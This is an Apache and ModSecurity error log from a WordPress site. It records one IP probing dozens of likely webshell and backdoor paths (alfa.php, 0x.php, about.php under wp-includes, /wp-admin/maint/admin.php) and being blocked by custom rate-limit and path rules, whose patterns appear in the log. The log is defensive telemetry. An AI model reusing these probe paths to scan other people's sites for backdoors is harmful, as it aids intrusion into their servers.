[Sun Jan 04 18:52:38.390847 2026] [:error] [pid 47095:tid 47136] [client 4.217.232.248:20541] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVpGdr4vyPZCmfGyjmp1jgAAAcw"]
[Sun Jan 04 18:52:40.746599 2026] [:error] [pid 51238:tid 51243] [client 4.217.232.248:23104] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVpGeCTcdgLoN6wImqeMEwAAAkM"]
[Sun Jan 04 18:52:43.390665 2026] [:error] [pid 51238:tid 51252] [client 4.217.232.248:29546] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aVpGeyTcdgLoN6wImqeMFQAAAkw"]
[Sun Jan 04 18:52:44.886845 2026] [:error] [pid 54985:tid 55052] [client 4.217.232.248:12285] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aVpGfJ8J2n8riTLGXUcqYwAAA0o"]
[Sun Jan 04 18:52:46.218564 2026] [:error] [pid 51238:tid 51241] [client 4.217.232.248:43273] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aVpGfiTcdgLoN6wImqeMGgAAAkE"]
[Sun Jan 04 18:52:47.405173 2026] [:error] [pid 54983:tid 55001] [client 4.217.232.248:43266] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aVpGfyj1D7W9ekfwAOfk4wAAAY4"]
[Sun Jan 04 18:52:49.546849 2026] [:error] [pid 54985:tid 55063] [client 4.217.232.248:12240] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "aVpGgZ8J2n8riTLGXUcqZQAAA1U"]
[Sun Jan 04 18:52:51.844369 2026] [:error] [pid 51238:tid 51249] [client 4.217.232.248:40810] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVpGgyTcdgLoN6wImqeMHgAAAkk"]
[Sun Jan 04 18:52:54.482627 2026] [:error] [pid 51238:tid 51255] [client 4.217.232.248:24661] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVpGhiTcdgLoN6wImqeMKQAAAk8"]
[Sun Jan 04 18:52:58.086595 2026] [:error] [pid 51238:tid 51249] [client 4.217.232.248:11902] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVpGiiTcdgLoN6wImqeMMAAAAkk"]
[Sun Jan 04 18:53:03.710725 2026] [:error] [pid 51328:tid 51336] [client 4.217.232.248:42067] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/css.php"] [unique_id "aVpGjyMWRuZOO8ezt_3-qAAAAwM"]
[Sun Jan 04 18:53:07.650354 2026] [:error] [pid 51328:tid 51357] [client 4.217.232.248:41386] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVpGkyMWRuZOO8ezt_3-qwAAAxg"]
[Sun Jan 04 18:53:11.722699 2026] [:error] [pid 54985:tid 55066] [client 4.217.232.248:42064] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVpGl58J2n8riTLGXUcqhgAAA1g"]
[Sun Jan 04 18:53:13.458303 2026] [:error] [pid 51271:tid 51287] [client 4.217.232.248:42026] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVpGmU6lEeK0FXEoMJkaIwAAAo0"]
[Sun Jan 04 18:53:14.531070 2026] [:error] [pid 51271:tid 51281] [client 4.217.232.248:42081] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/222.php"] [unique_id "aVpGmk6lEeK0FXEoMJkaJQAAAoc"]
[Sun Jan 04 18:53:16.029760 2026] [:error] [pid 51238:tid 51252] [client 4.217.232.248:29583] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aVpGnCTcdgLoN6wImqeMOAAAAkw"]
[Sun Jan 04 18:53:17.852970 2026] [:error] [pid 51238:tid 51263] [client 4.217.232.248:29114] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aVpGnSTcdgLoN6wImqeMPgAAAlc"]
[Sun Jan 04 18:53:19.194215 2026] [:error] [pid 54985:tid 55050] [client 4.217.232.248:29059] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/index.php"] [unique_id "aVpGn58J2n8riTLGXUcqkwAAA0g"]
[Sun Jan 04 18:54:15.882878 2026] [:error] [pid 54983:tid 54993] [client 4.217.232.248:42087] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVpG1yj1D7W9ekfwAOflbQAAAYY"]
[Sun Jan 04 18:54:17.772914 2026] [:error] [pid 54985:tid 55054] [client 4.217.232.248:39147] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVpG2Z8J2n8riTLGXUcqvQAAA0w"]
[Sun Jan 04 18:54:18.832502 2026] [:error] [pid 54924:tid 54955] [client 4.217.232.248:37543] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVpG2iui7g9GJY9Xm_5AewAAAUE"]
[Sun Jan 04 18:54:21.564526 2026] [:error] [pid 54985:tid 55047] [client 4.217.232.248:39112] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/manager.php"] [unique_id "aVpG3Z8J2n8riTLGXUcqxAAAA0U"]
[Sun Jan 04 18:54:23.786302 2026] [:error] [pid 54924:tid 54958] [client 4.217.232.248:43916] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVpG3yui7g9GJY9Xm_5AgwAAAUQ"]
[Sun Jan 04 18:54:25.168689 2026] [:error] [pid 51328:tid 51341] [client 4.217.232.248:39140] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVpG4SMWRuZOO8ezt_3-3gAAAwg"]
[Sun Jan 04 18:54:26.658575 2026] [:error] [pid 51238:tid 51251] [client 4.217.232.248:43943] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVpG4iTcdgLoN6wImqeMlwAAAks"]
[Sun Jan 04 18:54:28.177328 2026] [:error] [pid 47095:tid 47148] [client 4.217.232.248:12193] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/item.php"] [unique_id "aVpG5L4vyPZCmfGyjmp1_AAAAdg"]
[Sun Jan 04 18:54:29.502887 2026] [:error] [pid 1080:tid 1162] [client 4.217.232.248:22124] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpG5Su2Hm9AcIiqg0rBWwAAA9c"]
[Sun Jan 04 18:54:31.190980 2026] [:error] [pid 1080:tid 1140] [client 4.217.232.248:30084] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpG5yu2Hm9AcIiqg0rBXQAAA8E"]
[Sun Jan 04 18:54:33.259600 2026] [:error] [pid 15480:tid 15492] [client 4.217.232.248:51163] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpG6RBWKIu3SdvwTFiopgAAAIo"]
[Sun Jan 04 18:54:36.110928 2026] [:error] [pid 54985:tid 55053] [client 4.217.232.248:12113] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "aVpG7J8J2n8riTLGXUcq1wAAA0s"]
[Sun Jan 04 18:54:38.812798 2026] [:error] [pid 1080:tid 1163] [client 4.217.232.248:21699] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVpG7iu2Hm9AcIiqg0rBXgAAA9g"]
[Sun Jan 04 18:54:41.350733 2026] [:error] [pid 15480:tid 15490] [client 4.217.232.248:12141] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVpG8RBWKIu3SdvwTFiosgAAAIg"]
[Sun Jan 04 18:54:43.723390 2026] [:error] [pid 51271:tid 51274] [client 4.217.232.248:11946] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVpG806lEeK0FXEoMJkacAAAAoA"]
[Sun Jan 04 18:54:45.700402 2026] [:error] [pid 51328:tid 51349] [client 4.217.232.248:49350] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/index.php"] [unique_id "aVpG9SMWRuZOO8ezt_3-4wAAAxA"]
[Sun Jan 04 18:54:46.852787 2026] [:error] [pid 54983:tid 54989] [client 4.217.232.248:11672] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVpG9ij1D7W9ekfwAOflhwAAAYI"]
[Sun Jan 04 18:54:49.715499 2026] [:error] [pid 47095:tid 47141] [client 4.217.232.248:48260] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVpG-b4vyPZCmfGyjmp2BQAAAdE"]
[Sun Jan 04 18:54:52.062280 2026] [:error] [pid 54924:tid 54972] [client 4.217.232.248:11967] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVpG_Cui7g9GJY9Xm_5AkgAAAVI"]
[Sun Jan 04 18:54:53.584690 2026] [:error] [pid 51238:tid 51259] [client 4.217.232.248:11682] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sx.php"] [unique_id "aVpG_STcdgLoN6wImqeMoQAAAlM"]
[Sun Jan 04 18:54:54.470482 2026] [:error] [pid 51328:tid 51354] [client 4.217.232.248:11335] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVpG_iMWRuZOO8ezt_3-6QAAAxU"]
[Sun Jan 04 18:54:55.980414 2026] [:error] [pid 51271:tid 51294] [client 4.217.232.248:28203] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVpG_06lEeK0FXEoMJkaeAAAApQ"]
[Sun Jan 04 18:54:57.809498 2026] [:error] [pid 54892:tid 54909] [client 4.217.232.248:21759] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVpHATQuH9c6y3HhHGsX8QAAAE4"]
[Sun Jan 04 18:54:58.807464 2026] [:error] [pid 51328:tid 51353] [client 4.217.232.248:34500] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "aVpHAiMWRuZOO8ezt_3-7QAAAxQ"]
[Sun Jan 04 18:55:00.957412 2026] [:error] [pid 54983:tid 54998] [client 4.217.232.248:21713] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVpHBCj1D7W9ekfwAOfllAAAAYs"]
[Sun Jan 04 18:55:02.073887 2026] [:error] [pid 54983:tid 55003] [client 4.217.232.248:28171] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVpHBij1D7W9ekfwAOfllwAAAZA"]
[Sun Jan 04 18:55:03.482565 2026] [:error] [pid 54985:tid 55058] [client 4.217.232.248:39725] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVpHB58J2n8riTLGXUcrAgAAA1A"]
[Sun Jan 04 18:55:04.517891 2026] [:error] [pid 54985:tid 55051] [client 4.217.232.248:51157] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/alfa.php"] [unique_id "aVpHCJ8J2n8riTLGXUcrCAAAA0k"]
[Sun Jan 04 18:55:05.575468 2026] [:error] [pid 51328:tid 51349] [client 4.217.232.248:51146] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVpHCSMWRuZOO8ezt_3-8wAAAxA"]
[Sun Jan 04 18:55:07.929013 2026] [:error] [pid 1080:tid 1140] [client 4.217.232.248:28173] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVpHCyu2Hm9AcIiqg0rBagAAA8E"]
[Sun Jan 04 18:55:10.361917 2026] [:error] [pid 54983:tid 55008] [client 4.217.232.248:11641] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVpHDij1D7W9ekfwAOflngAAAZU"]
[Sun Jan 04 18:55:11.901522 2026] [:error] [pid 15480:tid 15485] [client 4.217.232.248:45843] [client 4.217.232.248] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-trackback.php"] [unique_id "aVpHDxBWKIu3SdvwTFio0AAAAIM"]
[Sun Jan 04 18:55:27.390556 2026] [:error] [pid 54985:tid 55048] [client 4.217.232.248:45853] [client 4.217.232.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 4.217.232.248, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "aVpHH58J2n8riTLGXUcrOAAAA0Y"]
[Sun Jan 04 18:55:29.105140 2026] [:error] [pid 54985:tid 55060] [client 4.217.232.248:29045] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVpHIZ8J2n8riTLGXUcrOgAAA1I"]
[Sun Jan 04 18:55:40.938189 2026] [:error] [pid 47095:tid 47144] [client 4.217.232.248:22236] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/SimplePie/wp-login.php"] [unique_id "aVpHLL4vyPZCmfGyjmp2LwAAAdQ"]
[Sun Jan 04 18:55:46.509326 2026] [autoindex:error] [pid 47095:tid 47125] [client 4.217.232.248:25070] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Sun Jan 04 18:55:46.642985 2026] [:error] [pid 47095:tid 47147] [client 4.217.232.248:22243] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aVpHMr4vyPZCmfGyjmp2PwAAAdc"]
[Sun Jan 04 18:55:51.288783 2026] [:error] [pid 51271:tid 51296] [client 4.217.232.248:31688] [client 4.217.232.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/style-engine/about.php"] [unique_id "aVpHN06lEeK0FXEoMJkaoAAAApY"]
[Sun Jan 04 18:56:05.500492 2026] [proxy_fcgi:error] [pid 51328:tid 51346] [client 4.217.232.248:30019] AH01071: Got error 'Primary script unknown'
